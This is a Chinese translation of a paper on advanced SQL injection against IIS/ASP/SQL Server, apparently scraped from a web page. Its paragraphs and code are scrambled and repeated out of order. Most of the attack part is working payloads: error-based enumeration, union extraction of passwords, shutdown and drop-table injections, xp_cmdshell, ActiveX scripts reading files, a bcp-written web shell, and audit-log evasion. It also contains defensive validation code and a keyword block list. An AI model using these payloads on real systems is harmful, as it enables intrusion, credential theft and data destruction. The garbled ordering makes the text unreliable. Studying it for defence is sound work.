SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构和操作数据库内容。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。
当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

‘ group by
users.id,users.username,users.password,users.privs having
1=1—

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value Microsoft SQL Server 2000 – 8.00.194
(Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft
Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service
Pack 2) to a column of data type int. /process_login.asp, line 35
这句尝试去将内置的version常量转化成一个整型数字,因为users表中的第一列是整型数字。

response.end

通过错误消息获得信息 这个几乎是David
Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

function
escape(input)
 input=replace(input,”‘”,”””)
 escape=input
end function

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:
Username: union select version,1,1,1― Microsoft OLE DB Provider for
ODBC Drivers error 80040e07

  如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:

为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:
Create talbe users( Id int, Username varchar(255), Password
varchar(255), Privs int ) 然后将下面的用户插入到users表中: Insert into
users values(0,admin,r00tr0x!,0xffff) Insert into users
values(0,guest,guest,0x0000) Insert into users
values(0,chris,password,0x00ff) Insert into users
values(0,fred,sesame,0x00ff)
如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个1,这样只给他自己一个低权限的用户。
幸运地,如果从应用程序返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。
首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:
Username: having 1=1― 这样将会出现如下错误: Microsoft OLE DB Provider
for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server
Driver][SQL Server]Column users.id is invalid in the select list
because it is not contained in an aggregate function and there is no
GROUP BY clause. /process_login.asp, line 35
因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group
by子句只能感去找到一个一个字段名,如下: Username: group by users.id
having 1=1― 出现的错误如下: Microsoft OLE DB Provider for ODBC Drivers
error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL
Server]Column users.username is invalid in the select list because it
is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35 最终攻击者得到了username字段后: ‘ group by
users.id,users.username,users.password,users.privs having 1=1―
这句话并不产生错误,相当于: select * from users where username=
因此攻击者现在知道查询涉及users表,按顺序使用列id,username,password,privs。
能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:
Username: union select sum(username) from users―
这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:
Microsoft OLE DB Provider for ODBC Drivers error 80040e07

sp_who
‘1’ select * from sysobjects

核心提示:SQL是一种用于关系数据库的结构化查询语言。它分为许多种

  最终攻击者得到了username字段后:

SQL数据库的高级sql注入的一些知识。<BODY bgcolor=000000 text=cccccc <FONT Face=tahoma color=cccccc
<CENTER<H1Login</H1 <FORM action=process_loginasp method=post
<TABLE <TR<TDUsername:</TD<TD<INPUT type=text name=username
size=100 width=100</TD</TR <TR<TDPassword:</TD<TD<INPUT
type=password name=password size=100 withd=100</TD</TR </TABLE
<INPUT type=submit value=Submit<INPUT type=reset value=Reset </FORM
</Font </BODY </HTML
下面是process_login.asp的代码,它是用来控制登陆的: <HTML <BODY
bgcolor=000000 text=ffffff <FONT Face=tahoma color=ffffff <STYLE p {
font-size=20pt ! important} font { font-size=20pt ! important} h1 {
font-size=64pt ! important} </STYLE <%@LANGUAGE = JScript % <%
function trace( str ) { if( Request.form(debug) == true )
Response.write( str ); } function Login( cn ) { var username; var
password; username = Request.form(username); password =
Request.form(password); var rso = Server.CreateObject(ADODB.Recordset);
var sql = select * from users where username = + username + and
password = + password + ; trace( query: + sql ); rso.open( sql, cn ); if
(rso.EOF) { rso.close(); % <FONT Face=tahoma color=cc0000 <H1 <BR<BR
<CENTERACCESS DENIED</CENTER </H1 </BODY </HTML <% Response.end
return; } else { Session(username) = + rso(username); % <FONT
Face=tahoma color=00cc00 <H1 <CENTERACCESS GRANTED<BR <BR Welcome,
<% Response.write(rso(Username)); Response.write( </BODY</HTML );
Response.end } } function Main() { //Set up connection var username var
cn = Server.createobject( ADODB.Connection ); cn.connectiontimeout = 20;
cn.open( localserver, sa, password ); username = new String(
Request.form(username) ); if( username.length 0) { Login( cn ); }
cn.close(); } Main(); %

  1.确定连接服务器的方法

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the varchar value admin to a column of data type int.
/process_login.asp, line 35
因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。
123全文阅读

Var
sql=”select * from users where username='”+username+”‘ and
password='”+password+”‘”;

一个典型的SQL语句如下: Select id,forename,surname from authors
这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:
Select id,forename,surname from authors where forenamejohn and
surname=smith
需要着重指明的是字符串john和smith被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,
如下: Forename:john Surname:smith 查询语句变为: Select
id,forename,surname from authors where forename=john and surname=smith
当数据库试图去执行这个查询时,它将返回如下错误: Server:Msg 170, Level
15, State 1, Line 1 Line 1:Incorrect syntax near hn
造成这种结果的原因是插入了.作为定界符的单引号。数据库尝试去执行hn,但是失败。如果攻击者提供特别的输入如:
Forename:jo;drop table authors― Surname:
结果是authors表被删除,造成这种结果的原因我们稍后再讲。

  (2)这个例子使用’scripting.filesystemobject’对象读一个已知的文本文件:

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘r00tr0x!’ to a column of data type int.
/process_login.asp, line 35

exec
xp_webserver

  ’S’参数为执行查询的服务器,’U’参数为用户名,’P’参数为密码,这里为’foobar’

  带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子:

Username:admin’—
Password:password

  介绍:

  一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

  当username为admin’—时,查询语句为:

  这告诉了我们’username’字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。

  [ActiveX automation scripts in SQL
SERVER]

  一旦这个程序被运行,可以使用下面的方法将它除去:

Username:aaaaaaaaaaaaaaa’
Password:’; shutdown—

update
users set password = ‘password’ where username=’admin’—’

  输入验证是一个复杂的题目。比较有代表性的是,自从过于严密地确认倾向于引起部分应用程序的暂停,输入确认问题很难被解决,在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中,因此它一般会被忽视。

insert
into users values(667, 123, 123, oxffff)

  这是一个非常严重的问题,目前在大型的应用程序中试图去过滤数据。最好的解决方法是拒绝非法输入,这胜于简单地努力去修改它。这有时会导致一个问题,非法的字符在那里是必要的,例如在用户名中包含’符号,例如:O’Brien

  这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码,然后我们将从事SQL SERVER锁定。

  我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):

  攻击者可以使用users表中第一个用户,输入如下:

Select
id,forename,surname from authors

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘admin’ to a column of data type int.
/process_login.asp, line 35

Xp_regdeletekey
Xp_regdeletevalue
Xp_regenumkeys
Xp_regenumvalues
Xp_regread
Xp_regremovemultistring
Xp_regwrite

  无可否认地这防止了我们所有例子的攻击,再除去’;’符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。

  第二种情况也存在第一种情况中的问题;已知的错误输入随着攻击技术的发展变化。

  6. 使用’bulk
insert’语法去读服务器上的任意文件

  SQL
SERVER提供了一种允许服务器连接的机制,也就是说允许一台数据库服务器上的查询能够操作另一台服务器上的数据。这个链接存放在master.sysservers表中。如果一个连接的服务器已经被设置成使用’sp_addlinkedsrvlogin’过程,当前可信的连接不用登陆就可以访问到服务器。’openquery’函数允许查询脱离服务器也可以执行。

Create
talbe users(
Id int,
Username varchar(255),

  从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入,然后搜索输入中已知的错误数据。

  这样将会出现如下错误:

  一旦动态连接库文件在机器上运行即SQL服务器能够被访问——这不需要它自己是SQL服务器——攻击者就能够使用下面的命令添加扩展存储过程(这种情况下,我们的恶意存储过程就是一个能输出服务器的系统文件的小的木马):

  命令行格式如下:

select
* from users where username=’aaaaaaaaaaaaaaa” and
password=”’;shutdown—

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the nvarchar
value ‘Microsoft SQL Server 2000 – 8.00.194 (Intel X86) Aug 6 2000
00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise
Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ‘ to a column of
data type int.

select
* from users where username=”

Username:’ union select sum(username) from users—

Username:’ union select sum(id) from users—

drop
table <tablename>

  如果用户输入的信息如下:

  7. 使用bcp在服务器上建立任意的文本格式的文件

  传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。//from www.w3sky.com

if(not
isValid(“email”,request.querystring(“email”))) then

function
escape(input)
 input=replace(input,”‘”,”””)
 escape=input
end function

  这将显示服务器上所有SNMP团体配置。在SNMP团体很少被更改和在许多主机间共享的情况下,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。

Username:’ union select password,1,1,1 from users where
username=’admin’—

  原因是应用程序尝试去过滤用户名最后的单引号,但是字符串被切断成16个字符,删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始,它可以包含一些SQL语句。既然这样查询看上去是:

  3.确定哪些对象存在

username
= escape( Request.form(“username”) );
oldpassword = escape( Request.form(“oldpassword”) );
newpassword = escape( Request.form(“newpassword”) );
var rso = Server.CreateObject(“ADODB.Recordset”);
var sql = “select * from users where username = ‘” + username + “‘ and
password = ‘” + oldpassword + “‘”;
rso.open( sql, cn );
if (rso.EOF)
{

  或者类似的方法。

validate_string=true
 for i=lbound(known_bad) to ubound(known_bad)
  if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
   validate_string=false
   exit function
  end if
 next
end function

[Microsoft][ODBC
SQL Server Driver][SQL Server]The sum or average aggregate operation
cannot take a varchar data type as an argument.
/process_login.asp, line 35

  首先,攻击者想获得建立用户的表的名字和字段的名字,要做这些,攻击者需要使用select语法的having子句:

  这句尝试去将内置的’@@version’常量转化成一个整型数字,因为users表中的第一列是整型数字。

Select
id,forename,surname from authors where id=1234

  需要指出的是如果运行的环境是WIN
NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。

   b.删除不必要的帐户

  更特别地,攻击者可以使用完全虚构的用户登陆,输入如下:

  许多存储过程被创建在SQLSERVER中,执行各种各样的功能,例如发送电子邮件和与注册表交互。

  这是一个提交表单页的代码,让用户输入用户名和密码:

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e14’

Username:
‘; begin declare @ret varchar(8000) set @ret=’:’ select @ret=@ret+’
‘+username+’/’+password from users where username>@ret select @ret as ret into foo end—

  xp_servicecontrol过程允许用户启动,停止,暂停和继续服务:

  如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下,他不可能成功。即使他比较幸运,至于privs字段不清楚。攻击者可能插入一个’1’,这样只给他自己一个低权限的用户。

%>

  1) 努力修改数据使它成为正确的

bcp
“select * from text..foo” queryout c:inetpubwwwrootruncommand.asp
–c -Slocalhost –Usa –Pfoobar

  我们可以通过指定在用户名后面来执行它:

select
* from master ..sysmessages

  这些函数的使用方法举例如下:

  这样只用12个输入字符就将停止SQL
SERVER实例。另一个例子是:

  方法二——拒绝已知的错误输入

  结果是authors表被删除,造成这种结果的原因我们稍后再讲。

   a.针对SQL
SERVER有一些缓冲区溢出和格式化字符串攻击,也有一些其他的安全补丁发布。应该存在很多。

  在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。

  攻击者可以只需提供他们知道的用户名,就可以以任何用户登陆,使用如下输入:

  任何一种方法,在存储过程后,追加的查询依然会执行。

  既然单引号被除去,攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。

Username:’ group by users.id having 1=1—

  1) 如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。


  获得更高的权限

  [没有单引号的字符串]

begin
declare @ret varchar(8000)
 set @ret=’:’
 select @ret=@ret+’ ‘+username+’/’+password
from users where username>@ret
 select @ret as ret into foo
end

  这句话并不产生错误,相当于:

  我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:

Insert
into users values(0,’admin’,’r00tr0x!’,0xffff)
Insert into users values(0,’guest’,’guest’,0x0000)
Insert into users values(0,’chris’,’password’,0x00ff)
Insert into users values(0,’fred’,’sesame’,0x00ff)

  6.确定什么应该被日志记录,什么应该在日志中结束。

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’

or
sp_who ‘1’;select * from sysobjects

Username:’ union select @@version,1,1,1—
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e07’

uni’on
sel’ect @@version-‘-

Server:Msg 170, Level 15, State
1, Line 1
Line 1:Incorrect syntax near ‘hn’

  (下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的)

  这个几乎是David
Litchfield首先发现的,并且通过作者渗透测试的;后来David写了一份文档,后来作者参考了这份文档。这些解释讨论了‘错误消息‘潜在的机制,使读者能够完全地了解它,潜在地引发他们的能力。

Username:’ union select
1,’fictional_user’,’some_password’,1—

  [Custom extended stored procedures]

Username:’; declare @o int exec sp_oacreate ‘wscript.shell’,@o out
exec sp_oamethod @o,’run’,NULL,’notepad.exe’—

  下表中列出了少量的其他有用的存储过程:

  [Linked Servers]

  实际上,查询中的用户名已经变为:

–scripting.filesystemobject
example – read a known file

  这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

  [防范]

[Microsoft][ODBC
SQL Server Driver][SQL Server]Syntax error converting the varchar
value ‘chris’ to a column of data type int.
/process_login.asp, line 35

Xp_regaddmultistring

–‘sp_password’
was found in the text of this event.
— The text has been replaced with this comment for security reasons.

  在这种情况下,一个攻击者可以非常简单地在数字的结尾添加SQL语句,在其他版本的SQL语言中,使用各种各样的限定符号;在数据库管理系统JET引擎中,数据可以被使用’#’限定。第二,避免单引号尽管看上去可以,但是是没必要的,原因我们稍后再讲。

/process_login.asp,
line 35

  [审计]

  这个例子仅仅是这种技术的一个表面的作用。没必要说,如果攻击者能够从数据库中获得足够的错误西,他们的工作就变的无限简单。

  可以使用上述的错误消息技术,或者使用’union’选择,使文本文件中的数据与应用程序正常返回的数据结合,将数据取回。这个用来获取存放在数据库服务器上的脚本源代码或者ASP脚本代码是非常有用的。

  即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。

<HTML>
<BODY bgcolor=’000000′
text=’ffffff’>
<FONT Face=’tahoma’
color=’ffffff’>
<STYLE>
 p { font-size=20pt ! important}
 font { font-size=20pt ! important}
 h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
 function trace( str ) {
  if( Request.form(“debug”) == “true” )
   Response.write( str );
 }
 function Login( cn ) {
  var username;
  var password;
  username = Request.form(“username”);
  password = Request.form(“password”);
  var rso =
Server.CreateObject(“ADODB.Recordset”);
  var sql = “select * from users where
username = ‘” + username + “‘ and password = ‘” + password + “‘”; trace(
“query: ” + sql );
  rso.open( sql, cn );

  这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

Username:’ union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e07’

  (4)这些例子阐述了这个技术的适用性;它可以使用’speech.voicetext’对象引起SQL
SERVER发声:

Forename:jo’hn
Surname:smith

function
validate_string(input)
 known_bad=array(“select”,”insert”,”update”,”delete”,”drop”,”—”,”‘”)

  有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’

  [Second-Order SQL Injection]

[Microsoft][ODBC
SQL Server Driver][SQL Server]All queries in an SQL statement
containing a UNION operator must have an equal number of expressions in
their target lists.
/process_login.asp, line 35

  然后执行bulk insert操作把文件中的数据插入到表中,如:

  在正常的方式下,这个扩展存储过程可以被运行:

function
validatepassword(input)
good_password_chars=”
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then
validatepassword=false
exit function
end if
next
end function

  这种结果的原因是应用程序相信攻击者指定的是从数据库中返回结果的一部分。

  当数据库试图去执行这个查询时,它将返回如下错误:

  从一个安全的观点来看,最好的解答是但引号不允许存在是一个简单的事实。如果这是无法接受的话,他们仍然要被过滤;在这种情况下,保证所有进入SQL查询的数据都是正确的是最好的方法。

  第一种情况有一些概念上的问题;首先,开发人员没必要知道那些是错误数据,因为新的错误数据的形式始终被发现。其次,修改数据会引起上面描述过的数据的长度问题。最后,二次使用的问题包括系统中已经存在数据的重新使用。

  2.确定哪些帐户是存在的

aaaaaaaaaaaaaaa’
and password=’

  事实上一些被执行的SQL将被记录,但是查询本身将顺利地从日志中消失。

   a.为应用程序的使用创建一个低权限的帐户

  当一个攻击者能够通过往query中插入一系列的sql语句来操作数据写入到应用程序中去,我们管这种方法定义成SQL注入。

Username:admin’—

  为了阐明存储过程的查询注入,执行以下语句:

  因此攻击者现在知道查询涉及users表,按顺序使用列’id,username,password,privs’。能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

  这句选择users表中username大于’a’中的最小值,并试图把它转化成一个整型数字:

  [xp_regread]

insert
into users values(123,’admin”—’,’password’,0xffff)

  因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名,如下:

Password
varchar(255),
Privs int
)

  解释这些将实现有趣的消息。

  4.确定哪写帐户能过使用哪些对象

不同的数据确认方法可以按以下分类:

  当合并修改数据和字符序列确认时,会出现另一个问题。例如,如果我们应用一个错误过滤在除去单引号之后去探测’—’,’select’和’union’,攻击者可以输入:


  1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。

这份文档是详细讨论SQL注入技术,它适应于比较流行的IIS+ASP+SQLSERVER平台。它讨论了哪些SQL语句能通过各种各样的方法注入到应用程序中,并且记录与攻击相关的数据确认和数据库锁定。

   c.确定所有帐户有强壮的密码;执行密码审计

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e07’

  我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

  使用’bulk
insert’语法可以将一个文本文件插入到一个临时表中。简单地创建这个表:

  这很容易想象到一个攻击者可以利用这些函数读取SAM,修改系统服务的配置,使它下次机器重启时启动,或在下次任何用户登陆时执行一条任意的命令。

  [将文本文件导入表]

  因此最后的SQL语句会被执行。

  (3)这个例子创建了一个能执行通过提交到的任何命令:

  将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

exec
master..xp_servicecontrol ‘start’,’schedule’
exec master..xp_servicecontrol ‘start’,’server’

  这条语句将返回authors表中所有行的id,forename和surname列。这个结果可以被限制,例如:


  高级SQL注入

  数据库中表users将被删除,拒绝任何用户进入应用程序。’—’符号在Transact-SQL中表示忽略’—’以后的语句,’;’符号表示一个查询的结束和另一个查询的开始。’—’位于username字段中是必须的,它为了使这个特殊的查询终止,并且不返回错误。

  3. 利用其他存储过程去改变服务器

  8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系统存储过程去创建ActiveX应用程序,使它能做任何ASP脚本可以做的事情

bulk
insert foo from ‘c:inetpubwwwrootprocess_login.asp’

xp_dropextendedproc
‘xp_webserver’

  这样攻击者就可以写一个好的insert查询,例如:

  这些只列举了非常普通的可能攻击方法的少量,攻击者很可能使用其它方法。我们介绍收集到的攻击关于SQL服务器的明显攻击方法,为了说明哪方面可能并被授予权限去注入SQL.。我们将依次处理以上提到的各种方法:

  我们更进一步地使用一个简单的ASP登陆页面来指出哪些能进入SQLSERVER数据库并且尝试鉴别进入一些虚构的应用程序的权限。

  </FORM>
 </Font>
</BODY>
</HTML>

  这样攻击者可以通过注册一个admin’—的用户来根据自己的想法来设置admin的密码。

Quentin
Bassington-Bassington

  这就创建了一个foo表,里面只有一个单独的列’ret’,里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。

  这有一些确认代码的例子:

  在这指出的重要一点是锁定SQL
SERVER是必要的;外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表:

Username:admin’;declare @o int,@ret int exec sp_oacreate
‘speech.voicetext’,@o out exec sp_oamethod
@o,’register’,NULL,’foo’,’bar’ exec sp_oasetproperty @o,’speed’,150
exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong to
us’,528 waitfor delay ’00:00:05′–

  通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。

<HTML>
<HEAD>
<TITLE>Login
Page</TITLE>
</HEAD>

   b.移除所有示例数据库——例如’northwind’和’pubs’数据库

  SQL SERVER自动地将整型转化为varchar型的值。

  因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

  SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query,它能够收集比较有达标性的记录并返回一个单一的结果集。SQL语言可以修改数据库结构(数据定义语言)和操作数据库内容(数据操作语言)。在这份文档中,我们将特别讨论SQLSERVER所使用的Transact-SQL语言。

  设置新密码的代码如下:

  一个典型的SQL语句如下:

Forename:jo’;drop table
authors—

  使用’bulk
insert’的相对技术可以很容易建立任意的文本文件。不幸的是这需要命令行工具。’bcp’,即’bulk copy
program’

  2) 拒绝被认为是错误的输入

  幸运地,如果从应用程序(默认为ASP行为)返回错误消息,那么攻击者可以确定整个数据库的结构,并且可以以程序中连接SQLSERVER的权限度曲任何值。

  我们必须在正确输入中允许连接符号,但是我们也意识到字符序列’—’对SQL SERVER很重要。

   a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限

Microsoft
OLE DB Provider for ODBC Drivers error ‘80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘users.id’
is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35

 

Username:’ union select min(username),1,1,1 from users where
username>’admin’—
Microsoft OLE DB Provider for ODBC Drivers error
‘80040e07’

  3) 只接收被认为是正确的输入

  例如,攻击者可能利用下面的信息在应用程序中注册://from www.w3sky.com

  这种行为发生在所有的T-SQL日记记录中,即使’sp_password’发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码,但这对于一个攻击者来说是非常有用的方法。

declare
@o int,@ret int

Username:’; drop table foo—

   a.许多扩展存储过程能被安全地移除。如果这样做了,应该移除包含在扩展存储过程代码中的’.dll’文件

  一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

  出现的错误如下:

  应用程序正确过滤了单引号,返回了一个类似这样的insert语句:

exec
sp_oacreate ‘speech.voicetext’,@o out
exec sp_oamethod @o,’register’,NULL,’foo’,’bar’
exec sp_oasetproperty @o,’speed’,150
exec sp_oamethod @o,’speak’,NULL,’all your sequel servers are belong
to,us’,528
waitfor delay ’00:00:05′

  然后攻击者就可以取得我们要得到的字符串:

  攻击者使用这个当作用户名登陆(都在一行)//from www.w3sky.com

  因此,为了隐藏所有注入,攻击者需要简单地在’—’注释字符后追加sp_password,例如:Username:admin’—sp_password

exec
xp_regenumvalues
HKEY_LOCAL_MACHINE,’SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’

既然 bcp可以从SQL服务进程外访问数据库,它需要登陆。这代表获得权限不是很困难,既然攻击者能建立,或者利用整体安全机制(如果服务器配置成可以使用它)。

Username:’ having 1=1—

**sql
= “update users set password = ‘” + newpassword + “‘ where username = ‘”

  到一个Transact-SQL语句中,这个审计机制记录日志如下:

  为了操作数据库中的数据,攻击者必须确定某些数据库和某些表的结构。例如我们可以使用如下语句创建user表:

  [xp_cmdshell]

  方法一——过滤单引号

declare
@o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘opentextfile’, @f out, ‘c:boot.ini’, 1
exec @ret=sp_oamethod @f,’readline’,@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,’readline’,@line out
end

  查询语句变为:

Exec
master..xp_cmdshell ‘net user’

  看上去好象通过从输入中去掉单引号或者通过某些方法避免它们都可以解决这个问题。这是可行的,但是用这种方法做解决方法会存在几个困难。第一,并不是所有用户提供的数据都是字符串。如果用户输入的是通过用户id来查询author,那我们的查询应该像这样:

Microsoft][ODBC
SQL Server Driver][SQL Server]Column ‘users.username’ is invalid in
the select list because it is not contained in either an aggregate
function or the GROUP BY clause.
/process_login.asp, line 35

  这将确定什么样的会话连接在服务器上是可以使用的

  2) 如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。

  下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中,但是它十分清晰地阐明了不同的策略。

Username:’;insert into users
values(666,’attacker’,’foobar’,’0xffff)—

  if (rso.EOF) {
   rso.close();
%>
<FONT Face=’tahoma’
color=’cc0000’>
<H1> <BR><BR>
<CENTER>ACCESS
DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
 Session(“username”) = “” +
rso(“username”);
%>
<FONT Face=’tahoma’
color=’00cc00’>
<H1> <CENTER>ACCESS
GRANTED<BR> <BR>
Welcome, <% Response.write(rso(“Username”));
Response.write( “</BODY></HTML>” ); Response.end }
}
function Main() {
 //Set up connection
 var username
 var cn = Server.createobject(
“ADODB.Connection” );
 cn.connectiontimeout = 20;
 cn.open( “localserver”, “sa”, “password”
);
 username = new String(
Request.form(“username”) );
 if( username.length > 0) {
  Login( cn );
 }
 cn.close();
}
Main();

  一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

  扩展存储过程应用程序接口是相当简单的,创建一个携带恶意代码的扩展存储过程动态连接库是一个相当简单的任务。使用命令行有几个方法可以上传动态连接库到SQL服务器上,还有其它包括了多种自动通讯的通讯机制,比如HTTP下载和FTP脚本。

  需要着重指明的是字符串’john’和’smith’被单引号限制。明确的说,forename和surname字段是被用户提供的输入限制的,攻击者可以通过输入值来往这个查询中注入一些SQL语句,如下:

  SQL
SERVER包含了丰富的允许记录数据库中的各种事件的审计接口,它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句,然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的,我们讨论的所有注入的SQL查询都将被记录在数据库中,一个熟练的数据库管理员将能够知道发生了什么事。不幸地,如果攻击者追加以下字符串:Sp_password

  [其他存储过程]

  [长度限制]

Username:’ union select min(username),1,1,1 from users where
username>’a’—

  [SQL SERVER锁定]

  明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。

Username:’;shutdown—

  这就是一个能够往表中插入字符串的不包含单引号的查询。

  通过错误消息获得信息

  5. 创建客户扩展存储过程去在SQLSERVER进程中执行溢出代码

  4. 在连接的服务器上执行查询

  SQL SERVER中提供了几个内置的允许创建ActiveX自动执行脚本的存储过程。这些脚本和运行在windows脚本解释器下的脚本,或者ASP脚本程序一样——他们使用VBScript或JavaScript书写,他们创建自动执行对象并和它们交互。一个自动执行脚本使用这种方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:

  [存储过程]

  如果攻击者不使用任何应用程序莫名其妙地往系统中插入数据,这种方式的攻击也是可能的。应用程序可能有email接口,或者可能在数据库中可以存储错误日志,这样攻击者可以努力控制它。验证所有数据,包括数据库中已经存在的数据始终是个好的方法。确认函数将被简单地调用,例如:

  (1)这个例子使用’wscript.shell’对象建立了一个记事本的实例:

wscript.shell
example
declare @o int
